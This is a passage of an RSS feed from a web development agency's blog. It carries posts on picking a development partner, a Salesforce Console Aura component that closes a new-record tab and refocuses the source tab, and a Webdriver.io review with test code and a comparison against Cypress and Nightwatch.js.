<p>That said, you may look up <a href="https://clutch.co/profile/mtr-design" target="_blank" rel="noopener noreferrer">our profile in the Clutch directory</a>. The latter has actually recognized MTR Design as one of the <a href="https://clutch.co/press-releases/announces-top-b2b-providers-bulgaria-2020" target="_blank" rel="noopener noreferrer">Top Web development companies</a> in Bulgaria in their 2020 report.</p>
<h2>Company size</h2>
<p>The company size (and especially the number of the programmers) matters insofar as the completion of your project in time depends on it. And also, it&rsquo;s essential that the company can provide additional resources, if at a later stage the project requires involvement of more people than initially anticipated.</p>
<p>It's a common belief that the more hands at work, the faster the work gets done. In our view, however, based on 15 years of experience in development of complex web applications, you don&rsquo;t need more than 4 &ndash; 5 people in the initial work on a project. So, unless your project is really huge, there&rsquo;s no need to hire a company with hundreds of programmers. You should also take into account that smaller companies tend to pay more attention to each of their partners and projects.</p>
<h2>Technical competencies, skills and experience</h2>
<p>As far as technical expertise is concerned, your approach to selecting the right company largely depends on whether the project involves development of already existing web-based software (or you need to integrate a new solution with your legacy products), or you are about to start from scratch and work on a &ldquo;greenfield&rdquo; project.</p>
<p>In the first scenario, the existing software would largely determine the technology to be used in your project, so it would be wise to look for dev companies that have worked with the respective technology stack. And if this technology is outdated, it&rsquo;s best that you choose among firms that have extensive experience in working with it &ndash; for example, they&rsquo;ve developed projects with different versions of the technology, and they&rsquo;ve made production migrations from an older to a newer version of the framework in question.</p>
<p>If you are starting your web dev project from scratch, the choice of technology would depend on the characteristics of the project (there are different tools that are effective to varying degrees in solving different problems), or on the expertise &ndash; either those of your team, or that of your partner. When the technology choice is based on the expertise of your own team, it would be easier to evaluate the quality of the partner's work and to control the development process. And if you trust your web development partner, you may let them decide which technologies will best suit your project.</p>
<p>Whatever the case, we would advise you to take the time to explain in detail all aspects of your project to the dev companies you are considering, and hear what they think about it. In most cases they wouldn&rsquo;t have solid experience in your sphere, but the really good web dev teams could use what they&rsquo;ve learned in other projects (regardless of the business field), and find their way in your project. If the questions they&rsquo;re asking are meaningful (including such that even you can&rsquo;t answer), and if their solutions are rational and simple, there&rsquo;s a pretty good chance that you&rsquo;ve found the right partner for your project.</p>
<h2>Communication</h2>
<p>Bad communication is one of the most common causes of unsatisfactory experience in project outsourcing. And because both parties suffer from a poorly organised business communication process, which inevitably leads to a poorly developed project, most agencies with strong market experience who care about the quality of their services have developed and follow communication plans of their own.</p>
<p>It&rsquo;s not that important which means of communication you are going to use. In any case, you need more than communication over the phone and via email, in order to make sure that all persons involved are aware at all times of the project&rsquo;s current status and if there are any problems that may have occurred during the development process.</p>
<p>For example, we use Basecamp for less-technical communication with our clients - to present all people from our team who will be involved in the project and to run discussions about business topics, app functionalities, UX directions and decisions. For daily communication and less important matters we use Slack. And for technical tasks we rely on tools, directly linked to the project codebase and the version-control system used (Gitlab/Github issues, Jira, etc.) In this way, each of our clients is able to contact our programmers directly, and get immediate feedback on the progress of their projects.</p>
<p>Of course, if a client of ours has already established certain means and processes of communication for a given project, we can use these tools.</p>
<h2>Price</h2>
<p>We do realise that the price of a service is of utter importance when choosing a contractor, especially in projects that take months or even years to complete. Even if all other criteria are met, and both parties like each other, any partnership is out of the question if they don&rsquo;t reach an agreement on a price that is fair and favorable for them.</p>
<p>Perhaps now is the time to discuss the two main pricing models that web development companies use - Fixed-price and Time &amp; Material model.</p>
<p>The Time &amp; Material pricing model is based on the number of hours actually spent on the project, and the agreed hourly rates of developers involved in the project.&nbsp; The Fixed-price model, on the other hand, is a contract where a web dev company offers to complete the project within the agreed price and timeframe. The price itself is based on the contractor's estimate of the time and skills required for the project completion, but the complexity of the project, potential risks and associated complications can greatly affect the final price.</p>
<p>Of course, both pricing models have their advantages and disadvantages. We won&rsquo;t discuss this in further detail, but let&rsquo;s just say that we at MTR Design use both, depending on the project.</p>
<h2>Final words</h2>
<p>In conclusion, we have to say that the selection of a web development agency is much more than filling out a checklist that will produce the right answer. It&rsquo;s way more important that both parties in this process feel confident that this is the right business partner for them. And this usually happens during the initial communication &ndash; when the company clarifies what the project is all about, and the web development agency asks questions to clarify the business case.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Perform action after creating new record in Salesforce Console</title>
                <link>https://mtr-design.com/news/perform-action-after-creating-new-record-in-salesforce-console</link>
                <guid>https://mtr-design.com/news/perform-action-after-creating-new-record-in-salesforce-console</guid>
                <pubDate>Wed, 14 Oct 2020 12:00:00 +0000</pubDate>
                <dc:creator>Desislav M</dc:creator>
                <description><![CDATA[<p>We have a client who loves the Salesforce Console and uses it a lot. Recently he gave us a task where he needed the tab for creating a new record to be closed when the record is created successfully and then to focus the source tab. Let&rsquo;s see how we made it work...</p>]]></description>
                <content:encoded><![CDATA[<h2>The Issue</h2>
<p>The issue is that &ldquo;New Record&rdquo; is a standard Salesforce functionality and there is no option to control what happens on success. The default behavior is to redirect to the newly created record. Here is <a href="https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/components_navigation_page_definitions.htm" target="_blank" rel="noopener noreferrer">the documentation for pageReference</a> which is used for navigating to pages in Salesforce.</p>
<p>I was searching the internet for an existing solution, because I thought that triggering an action after a new record is created does not sound too exotic. Surely there is <a href="https://trailblazer.salesforce.com/ideaView?id=0873A0000003VnmQAE" target="_blank" rel="noopener noreferrer">a result for a very similar feature</a>, asked 3 years ago. Unfortunately the described undocumented solution is no longer valid. Actually it is half valid.</p>
<p>I&rsquo;ve spent some time debugging how the popup for new records issued from another popup works. I found out that they still use <strong>navigationLocation: &ldquo;LOOKUP&rdquo;</strong> but with additions &ndash; reference to the <strong>navigationLocationId</strong>. After testing those additional undocumented properties I&rsquo;ve realised that they are used only if our &ldquo;new record&rdquo; page is in popup, not in tab as it was in my case. So it was not my solution. I&rsquo;ve spent more time trying to find something undocumented, but it was hopeless. I&rsquo;ve concluded that I could not perform any action after successful record creation.</p>
<p><video loop="loop" controls="controls" style="max-width: 100%;" width="800">
  <source src="/storage/var/images/news/salesforce-console-action/tab-close-before.mp4" type="video/mp4" />
  Your browser does not support HTML video.
</video></p>
<h2>The Solution</h2>
<p>Since my page was in a workspace tab where I have full control, I came with the idea that I can actually perform any action from an aura component, placed inside the &ldquo;record view&rdquo; page.</p>
<p>Each time I visit my target object&rsquo;s View page, or I&rsquo;ve been redirected to it after successful record creation, this component is executed. With the help of <a href="https://developer.salesforce.com/docs/atlas.en-us.api_console.meta/api_console/sforce_api_console_methods_lightning_workspaceAPI.htm" target="_blank" rel="noopener noreferrer">workspaceAPI</a> I can easily pull information whether the page is in Tab and all details of the tab. So, by placing some conditions while using Tab details, you could determine if there is a need to perform your desired action.</p>
<p>In my particular case I observe for specific tab type and title, and if it matches &ndash; the current Tab gets closed.</p>
<p>Focusing the source tab was also challenging. I could not find a suitable way to send information from which tab we start to the new one. Unfortunately tabs do not support custom payloads at all and I didn't want to involve any object record here. I&rsquo;ve chosen to send this information via global javascript variables. The variable name is based on the new tab <strong>Id</strong> and its value is the source tab <strong>recordId</strong>. Our Lightning component needs only to check if the javascript variable exists and has value. By using this value we can iterate over all tabs in the Console and focus the one who has that recordId.</p>
<p><video loop="loop" controls="controls" style="max-width: 100%;" width="800">
  <source src="/storage/var/images/news/salesforce-console-action/tab-close-after.mp4" type="video/mp4" />
  Your browser does not support HTML video.
</video></p>
<h2>Implementation</h2>
<p>Here is what our component markup looks like:</p>
<pre>({
 onInit: function (component, event, helper) {
   // get reference to the workspaceAPI
   const workspaceAPI = component.find('workspace');

   if (workspaceAPI) {
     // ensure that we are in Console
     workspaceAPI.isConsoleNavigation().then(isConsole =&gt; {
       if (isConsole) {
         // get our enclosing tab
         workspaceAPI.getEnclosingTabId().then(enclosingTabId =&gt; {
           // retrieve full tab info
           workspaceAPI.getTabInfo({
               tabId: enclosingTabId
           }).then(tabInfo =&gt; {
             // Conditions
             if (tabInfo.customTitle &amp;&amp; tabInfo.customTitle === 'Reply Task' &amp;&amp; tabInfo.isSubtab) {
               // Actual action implementation

               // create variable name for retrieving info which tab we should be focusing on
               const varName = `__reply_task_return__${tabInfo.tabId}`;

               if (window[varName]) {
                 const returnToId = window[varName];
                 // delete our helper variable as it is not valid anymore
                 delete window[varName];

                 // retrieve all tabs
                 workspaceAPI.getAllTabInfo().then(tabs =&gt; {

                   // search for our destination tab
                   let destinationTab = tabs.find(tab =&gt; tab.recordId === returnToId);

                   // It is not our destination tab, but let's search in its sub tabs
                   if (!destinationTab) {
                     tabs.forEach(tab =&gt; {
                       tab.subtabs.forEach(subTab =&gt; {
                         if (returnToId === subTab.recordId) {
                           destinationTab = subTab;
                         }
                       });
                     });
                   }

                   // if we found our destination tab, then focus on it and close the current one
                   if (destinationTab) {
                     workspaceAPI.focusTab({
                       tabId : destinationTab.tabId
                     }).then(() =&gt; {
                       workspaceAPI.closeTab({ tabId: enclosingTabId });
                     });
                   }
                 });
               }
             }
           });
         });
       }
     });
   }
 }
});
</pre>
<p>And that&rsquo;s pretty much it.</p>
<p>The only thing left to do is to edit your object&rsquo;s View page (Task View Page in my case) and put our new component somewhere in the page. The component is not visible so it won&rsquo;t break your design.</p>
<p>By tuning the conditions and changing the action code itself you can achieve basically any action you want.</p>
<p>Happy Coding!</p>]]></content:encoded>
            </item>
                    <item>
                <title>On a way to find the perfect e2e testing tool - part 3</title>
                <link>https://mtr-design.com/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-3</link>
                <guid>https://mtr-design.com/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-3</guid>
                <pubDate>Thu, 01 Oct 2020 12:00:00 +0000</pubDate>
                <dc:creator>Valentin Kirilov</dc:creator>
                <description><![CDATA[<p>The time to continue our journey of reviewing e2e testing frameworks has come. If you missed our previous articles on the topic don&rsquo;t hesitate to take a look, we already covered <a href="https://www.cypress.io/" target="_blank" rel="noopener noreferrer">Cypress</a> and <a href="https://nightwatchjs.org/" target="_blank" rel="noopener noreferrer">Nightwatch.js</a>.</p>]]></description>
                <content:encoded><![CDATA[<p><strong><a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool">Read part 1 of "On a way to find the perfect e2e testing tool"</a></strong><br /><strong><a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-2">Read part 2 of "On a way to find the perfect e2e testing tool"</a></strong></p>
<p>To summarize, our goal is to build an independent test environment for one of our projects and automate the process of features validation. The whole test suite will be a standalone project without any access to the raw codebase, so we won&rsquo;t mock anything. The result should be a real world user journey, executed directly on the dev website, providing basic insurance that all main features are working as expected and our latest changes didn&rsquo;t cause any regression bugs. This way we try to eliminate the user factor in the process by automating some of the manual tests we usually do after every push. And in order to achieve it we thought it&rsquo;s a good idea to make a small research of the market and find the best e2e library for our case. Next up we&rsquo;ll try to cover our impressions of <a href="https://webdriver.io/" target="_blank" rel="noopener noreferrer">Webdriver.io</a> after subjecting it to a series of inspections.</p>
<h2>Webdriver.io</h2>
<p>It&rsquo;s a next-gen browser and mobile automation test framework for Node.js, as they say. In reality it&rsquo;s an extendible, feature rich product for writing tests using your favorite framework (Jasmine, Mocha, etc.) and targeting your modern webapps built with React, Angular, Vue.js (or any other web technology). And last but not least you can use different protocols and test runners in order to reach wide coverage of the modern web browsers. Looks promising so let&rsquo;s go to see it in action.</p>
<h3>Getting started with Webdriver.io</h3>
<p><em>Note: The purpose of this article is to review the different testing libraries and provide you some feedback in order to help you choose the right tool for your case. Thus you cannot rely on this article as a tutorial or step-by-step guide, instead you can go and read the <a href="https://webdriver.io/docs/gettingstarted.html" target="_blank" rel="noopener noreferrer">official docs</a>.</em><br /><br />Webdriver.io is built with Node.js so it&rsquo;s not a surprise that the easiest way to install it is by using the npm one-liner, as expected. Although we don&rsquo;t want to fall into specific details, they can change in time so we prefer to point you to the <a href="https://webdriver.io/docs/gettingstarted.html" target="_blank" rel="noopener noreferrer">official guide</a> for the latest version of the instructions. Once you&rsquo;re ready with the initial setup and the installation of all dependencies we can write our first basic test, and check whether everything is running fine.</p>
<pre class="language-javascript"><code>describe('Home page', () =&gt; {
 it('should load successfully', () =&gt; {
   browser.url('/');
 
   const heading = $('.description h1');
   expect(heading).toHaveText('Hello world');
 })
})</code></pre>
<p>Once again, we start with a simple test - navigating to the homepage and checking whether a specific text exists. Webdriver allows us to choose which testing framework to use and since the official guidelines rely on <a href="https://mochajs.org/" target="_blank" rel="noopener noreferrer">Mocha</a>, we decided to stick our examples to that. Because of this we inherit its BDD syntax and the descriptive style guide, so you can easily understand every line of your tests. As expected <a href="https://webdriver.io/docs/api/browser/$.html" target="_blank" rel="noopener noreferrer">element selection</a> is performed by a regular query selectors, so nothing surprising here. Then you can use the rich set of matchers provided by the <a href="https://webdriver.io/docs/api/expect.html" target="_blank" rel="noopener noreferrer">expect assertion</a> in order to perform some validations.That&rsquo;s the basics for now, let&rsquo;s try to run our first test.</p>
<pre> "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/guest/home.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: d883eeef20c13c43a4820925a4d956f7
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Home page
[chrome 83.0.4103.61 linux #0-0]    ✓ should load successfully
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 1 passing (1.5s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:05 </pre>
<p>Once again when we start the test runner we see a browser window and all of the interactions with the webpage, then it closes and there is an output with the results of the execution in the console. A new browser window opens for every test, which makes the process a bit slower, but it ensures the isolated environment for every suite. If some of your tests fail you can debug the problem by yourself relying on the console output. There are no fancy features like &ldquo;time-travel&rdquo; (as it is in <a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool">Cypress</a>) but you can use the implemented <a href="https://webdriver.io/docs/debugging.html" target="_blank" rel="noopener noreferrer">debugging tools</a> to ease the process. So far so good, time to write a few more tests.</p>
<h3>Let&rsquo;s add some real world tests</h3>
<p>We&rsquo;ll follow the same path as we did in our previous articles, now when we have Webdriver up and running we&rsquo;ll move on to test some website forms. Tradition dictates to start with the Sign Up form because of its rich set of input components. But before we jump straight to the test code itself we have to do some prerequisite steps. Webdriver.io is designed to use <a href="https://webdriver.io/docs/pageobjects.html" target="_blank" rel="noopener noreferrer">Page Object Pattern</a> which in my opinion is a great way to add an abstraction layer to your test suites. The goal of using page objects is to move any page information away from the actual tests. Ideally, you should store all selectors or specific instructions that are unique for a certain page in a page object, so that way you still can run your test after you've completely redesigned your page. So we did it, here is our Sign Up page wrapper.</p>
<pre class="language-javascript"><code>export class Page {
   constructor() {}
   
   open(path) {
     browser.url(path)
   }
   
   // Other shared methods will reside here soon
}
 
class SignUpPage extends Page {
 
   get inputFirstName() { return $('#registration--first-name') }
   get inputLastName() { return $('#registration--last-name') }
   get inputCompanyName() { return $('#registration--company-name') }
   get inputEmail() { return $('#registration--email') }
   get inputPhone() { return $('#registration--phone') }
   get inputCity() { return $('#registration--city') }
   get inputState() { return $('#registration--state + .select2') }
   get inputMarketingStrategies() { return $('#registration--marketing-strategies + .select2') }
   get submitBtn() { return $('form button[type="submit"]') }
   get alertSuccess() { return $('.alert.alert-success') }
   get alertErrors() { return $('.alert.alert-danger') }
  
   open() {
       super.open('signup');
   }
  
   submit() {
       this.submitBtn.click();
   }
  
}

export default new SignUpPage();</code></pre>
<p>We decided to use some inheritance instead of duplicating small snippets across all future pages, so that&rsquo;s the reason we define a simple Page class first. Soon enough we&rsquo;ll extend it with more base methods, but for now it&rsquo;s enough. Then we create our Sign Up page and define selectors for all of our input elements, buttons and presentation divs which will be used in the tests later. This will help us make our tests look more focused and well described, stripping all of the overhead that query selectors carry. Also this makes our tests more flexible, we can adapt easily to any changes of the UI markup simply by updating the page object. Last but not least we add some basic methods for interactions with the page object itself, but let&rsquo;s move on to the tests so you can see all of this in action.</p>
<pre class="language-javascript"><code>import SignUpPage from '~/pages/signup.page';
 
describe('Sign Up page', () =&gt; {
 
 // ...
 
 it('should submit the form successfully', () =&gt; {
   SignUpPage.open();
 
   SignUpPage.inputFirstName.setValue(faker.name.firstName());
   SignUpPage.inputLastName.setValue(faker.name.lastName());
   SignUpPage.inputCompanyName.setValue(faker.company.companyName());
   SignUpPage.inputEmail.setValue(faker.internet.email());
   SignUpPage.inputPhone.setValue(faker.phone.phoneNumber());
   SignUpPage.inputCity.setValue(faker.address.city());
 
   SignUpPage.inputState.click();
   $('.select2-results__option:nth-child(3)').click();
 
   SignUpPage.inputMarketingStrategies.click();
   $('.select2-results__option:nth-child(1)').click();
 
   SignUpPage.submit();
 
   expect(SignUpPage.alertSuccess).toHaveText('Your submission has been successfully submitted.');
 });
 
});</code></pre>
<p>Looks pretty good, right? All of our predefined elements are chainable with the built-in element methods so you can use them directly without any additional overhead. Yet, the code looks clean and all of the actions are well described. You may see how valuable this approach is when you start to add more complex tests which work on multiple pages, it keeps the context of every action and is a way easier to read and understand the test cases. Similarly we use <a href="https://github.com/marak/Faker.js/" target="_blank" rel="noopener noreferrer">faker.js</a> in order to generate dummy test values increasing the variability of our tests on every run. And the last thing in this test example is the way we interact with the custom input elements on the page. We already have some negative experience with the select2 elements (you can read more about our problems in the <a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-2">previous article</a>) so we knew that this part will be tricky.</p>
<p><em>Note: If you&rsquo;re now aware of its capabilities, <a href="https://select2.org/" target="_blank" rel="noopener noreferrer">Select2</a> is a 3rd party library which provides an extended and customizable version of the standard html element. It comes with support for searching, tagging, remote data sets, infinite scrolling, and many other highly used options. We use it a lot in our project so it&rsquo;s crucial to be able to interact with the tests. Generally it&rsquo;s a great tool so If you&rsquo;re still not convinced of its powers we strongly recommend you to give it a try.</em></p>
<p>Back to the board, our first try was unsuccessful, select2 component is way different than its parent and yes, you can&rsquo;t interact with it using the built in methods. However we found a way to select a value simply by interacting with the UI directly. You can see that we select the element and then click on one of its options. We hope that this will do the job for your case too, it was definitely enough for us.</p>
<pre> "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/guest/signup.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: 32c939cf714f992bc3565a15e9047761
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Sign Up page
[chrome 83.0.4103.61 linux #0-0]    ✓ should report form errors on submit if provided empty form
[chrome 83.0.4103.61 linux #0-0]    ✓ should report form errors on submit if provided invalid data
[chrome 83.0.4103.61 linux #0-0]    ✓ should submit the form successfully
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 3 passing (10.2s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:14</pre>
<p>The test finished successfully and all of the actions were executed as expected so we can mark this part of the job as done. We have to mention the speed time as well, it works fast enough but we have to wait how it will go when the number of test suites increases. Since we have passed this threshold successfully we can move on and start to cover the more complex scenarios.</p>
<h3>Test protected routes and complex workflows</h3>
<p>We already have tested the Sign Up process which leads us to the next step - find a way to authenticate the users and test protected routes. Unfortunately there is no way to make a POST requests without using any plugins (you can try to use the <a href="https://webdriver.io/docs/wdio-intercept-service.html" target="_blank" rel="noopener noreferrer">InterceptService</a> if you want) so our goal includes the following key points:</p>
<ul>
<li>find a way to define a custom command/methods for login which can be used across the test suites without any unnecessary code duplications</li>
<li>find a way to provide the user credentials dynamically</li>
<li>find a way to automate the login process for the tests which requires the user to be authenticated</li>
</ul>
<p>Starting from the top to bottom to solve each of those requirements. First up, remember when we defined our page object and told you we&rsquo;ll use it later? Well, the moment has come, it&rsquo;s the perfect time to go back and extend it. Since we want to define a method which can be reused across all test suites and it requires the browser&rsquo;s object to interact with the webpage, we think that the main page object is the best place to do this.</p>
<pre class="language-javascript"><code>export default class Page {
 constructor() {}
 
 open(path) {
   browser.url(path)
 }
 
 login() {
   browser.url('signin');
 
   $('#email').setValue(browser.config.user.email);
   $('#password').setValue(browser.config.user.password);
   $('form input[type="submit"]').click();
 }
}</code></pre>
<p>Yes, it&rsquo;s that simple. Just fill the correct values and submit the form. As you can see the credentials are obtained from some browser config which is nothing more than the default &ldquo;wdio.conf.js&rdquo; which was created when you initialized the project. So there is no magic, just add your details and wire up the correct variable names in your tests. You can use this approach for anything you want to be somehow dependent on the environment and not hardcoded across the whole codebase. And finally we have to find a place to add our login methods instead of prefixing every single test. Well, it's not that hard of a decision since we are using Mocha and can take advantage of the built-in hooks, more particularly the &ldquo;before&rdquo; hook which is run before all tests in the suite. Here is how it goes, a basic example to test the accessibility of the Dashboard page.</p>
<pre class="language-javascript"><code>import DashboardPage from '~/pages/profile/dashboard.page';
 
describe('Dashboard page', () =&gt; {
 
 before(() =&gt; {
   DashboardPage.login();
 });
 
 it('should show the Dashboard page', () =&gt; {
   DashboardPage.open();
 
   expect(DashboardPage.breadcrumb).toHaveText('Dashboard');
 });
 
});</code></pre>
<p>Once again, we use our new login method in the hook before the execution of all tests, and as you can see we access it as a member of the Dashboard page object, because it inherits all of the main page object properties and methods. Then we simply check whether we can see the Dashboard breadcrumb in order to assume that the user was authenticated and the page was loaded successfully. We already covered most of our requirements and Webdriver seems like an easy to go framework with great capabilities, but there are a few more steps before we can figure out our conclusion.</p>
<pre> "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/profile/dashboard.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: 5fd1513ac22289d827aa940964a52c8d
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Dashboard page
[chrome 83.0.4103.61 linux #0-0]    ✓ should show the Dashboard page
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 1 passing (14.7s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:19 </pre>
<p>We&rsquo;re ready to jump in our most complex scenario so far. Let&rsquo;s take a moment to describe our goals. We&rsquo;re going to access a protected route and interact with a bunch of new components and elements including a table, checkboxes and a modal. Here is a basic step-by-step breakthrough:</p>
<ol>
<li>Login to the application (use the Page method we defined above)</li>
<li>Go to a specific page with a listing of multiple records</li>
<li>Select a few rows from a table holding the different items</li>
<li>Open a modal containing a form (we want to apply some changes to the selected items)</li>
<li>Use the Select2 box to add new values and submit the form in order to associate them with the table selection. Wait for the async response and verify the results</li>
<li>Close the modal, wait for the page to reload and check whether the changes have been applied by inspecting the table rows</li>
</ol>
<pre class="language-javascript"><code>it('should assign multiple tags to a contact', () =&gt; {
   ListContactsPage.open();
 
   for (let index=1; index &lt;= 3; ++index) {
     ListContactsPage.contactsTable
       .$(`tr:nth-child(${index}) td input[type="checkbox"]`)
       .click();
   }
 
   ListContactsPage.manageTagsBtn.waitForDisplayed();
   expect(ListContactsPage.manageTagsBtn.isDisplayed()).toBe(true);
   ListContactsPage.manageTagsBtn.click();
 
   ListContactsPage.tagsModal.waitForDisplayed();
   expect(ListContactsPage.tagsModal.isDisplayed()).toBe(true);
 
   const tag1 = faker.random.word();
   const tag2 = faker.random.word();
 
   ListContactsPage.tagsSelect.click();
 
   ListContactsPage.tagsSelect.$('input.select2-search__field').addValueToSelect2(tag1);
   expect(ListContactsPage.tagsInput.getValuesOfSelect2()).toEqual([tag1]);
 
   ListContactsPage.tagsSelect.$('input.select2-search__field').addValueToSelect2(tag2);
   expect(ListContactsPage.tagsInput.getValuesOfSelect2()).toEqual([tag1, tag2]);
 
   ListContactsPage.submitTagsModal();
   expect(ListContactsPage.tagsModalAlertSuccess).toHaveText('The tags have been successfully changed.');
 
   ListContactsPage.tagsModalCloseBtn.click();
 
   ListContactsPage.tagsModal.waitForDisplayed({ reverse: true });
   expect(ListContactsPage.tagsModal.isDisplayed()).toBe(false);
 
   for (let index=1; index &lt;= 3; ++index) {
     expect(ListContactsPage.contactsTable.$$(`tr:nth-child(${index}) td .badge`).length).toEqual(2);
     expect(ListContactsPage.contactsTable.$$(`tr:nth-child(${index}) td .badge:nth-child(1)`)).toHaveText(tag1);
     expect(ListContactsPage.contactsTable.$$(`tr:nth-child(${index}) td .badge:nth-child(2)`)).toHaveText(tag2);
   }
 });
</code></pre>
<p>Once again we&rsquo;re going to use a page object to interact with the different elements. We&rsquo;ll omit to post here the definition because it doesn&rsquo;t contain anything different than the first example above, instead we&rsquo;ll focus on the workflow itself. Once the page has been opened and loaded (after the user has been authenticated) we use a regular loop to iterate through some of the table rows and click the corresponding check boxes in order to select them. Then we open a modal and wait for it to be displayed because its content is fetched asynchronously. And here we go again, time to interact with the custom select2 element, but this time we have to add new values manually (previously we used one of the existing options). And once again simply using the general select element which is controlled by its enhanced successor was not enough, we had to interact with the UI (which actually is not that bad, because it&rsquo;s the way the users will potentially use it).</p>
<pre class="language-javascript"><code>/**
  * Gets executed before test execution begins. At this point you can access to all global
  * variables like `browser`. It is the perfect place to define custom commands.
  * @param {Array.} capabilities list of capabilities details
  * @param {Array.} specs List of spec file paths that are to be run
  */
before: function (capabilities, specs) {
    // Custom command to focus a specific element
    browser.addCommand('focus', function () {
    browser.execute(function (domElement) {
        domElement.focus();
    }, this);
    }, true);

    // Custom command to type a specific value in a select2 input
    browser.addCommand('addValueToSelect2', function (value) {
    this.focus();
    browser.keys(value);
    browser.keys("\uE007");
    }, true);

    // Custom command to get the selected values in select2 input
    browser.addCommand('getValuesOfSelect2', function () {
    return this.$$('option[data-select2-tag="true"]').map(option =&gt; option.getValue());
    }, true);
}</code></pre>
<p>We&rsquo;re going to use another built-in approach provided by Webdriver.io to define some additional commands and extend the default set of abilities for interactions with the elements. In the example above you may notice three new commands. The first one is used to focus a specific element in the browser, we found it as a mandatory pre-condition when we want to interact with the select2 so we decided to define it as a standalone command in terms of simplicity of the code. The second one is used to add a new value to a select2 component, and if you see it does the same 3 steps as you would do as a user if you want to do the same thing. You&rsquo;ll select the element, type some text via your keyboard and then press <enter> to confirm your changes. The last one is a helper function for extracting the multiple selected values of the element and is used as a confirmation of the above. Going back to the test code, you can see how we use the combination of the both commands, directly on the page elements. So once again, we succeeded in our intent to test the enhanced select2 element. The other actions in the test are a bit straightforward - we submit the form and wait to see the success message. Then we close the modal and finally we verify the markup of the table whether it contains the new values which we added. If everything is performed and finished successfully, we can consider our feature as working as expected. And the test runner confirmed the case</enter></p>
<pre> "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/profile/contacts/tags/manage-multiple.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: dc4da0753fc4c8eca11f2356a1d613be
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Dashboard page
[chrome 83.0.4103.61 linux #0-0]    ✓ should show the Contacts page
[chrome 83.0.4103.61 linux #0-0]    ✓ should assign multiple tags to a contact
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 2 passing (14.5s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:21 </pre>
<p>Well, we can officially say that Webdriver.io passed all of our base tests and as we did with Cypress before, we&rsquo;ll stop here. We&rsquo;re happy to announce that we liked it, the way we write our code and how the test runner behaves. The project comes with great docs so you can always find the answer to your questions when needed. Also, there is a well developed society around the community forums so you can learn from the experience of the other before you. Definitely we can say it&rsquo;s a well designed and developed testing tool which deserves your attention if you&rsquo;re on a search for a new tool, as we did. You don&rsquo;t have to hesitate anymore, give it a try and let us know what you think.</p>
<h2>Let&rsquo;s wrap it up</h2>
<p>Our journey comes to an end and we think it will be good if we try to summarize our conclusions. We&rsquo;ve reviewed three different tools which provide different approaches for solving the same use-cases. We&rsquo;ve collected some experience and shared it with you but... What about if we try to compare them all in a single view and let you choose for yourself. We&rsquo;ll cover the most important aspects (for us) and try to rate them from 1 to 3, here is what it looks like.</p>
<table>
<tbody>
<tr>
<td></td>
<td>Cypress</td>
<td>Nightwatch.js</td>
<td>Webdriver.io</td>
</tr>
<tr>
<td>Documentation</td>
<td>3</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>Community</td>
<td>3</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Code</td>
<td>3</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>Speed</td>
<td>2</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>Debug</td>
<td>3</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>Test Runner</td>
<td>3</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Completeness</td>
<td>3</td>
<td>0</td>
<td>3</td>
</tr>
<tr>
<td>Total</td>
<td>20</td>
<td>10</td>
<td>15</td>
</tr>
</tbody>
</table>
<p>And the winner is&hellip; Cypress (cymbal splash) with its perfect score of 20pts. Of course this score is well deserved since the tool did so well during our tests in all aspects. Initially they provide a great documentation and a wide community of supporters but actually you don&rsquo;t need to rely so much on them, because everything happens easily enough and the whole process was really smooth. We can&rsquo;t miss to mention again the great test runner and debugging options they provide with the handy time-travel feature. After all, we managed to implement all of our base tests with Cypress which makes it suitable for our needs and we can rely on its services in the future.</p>
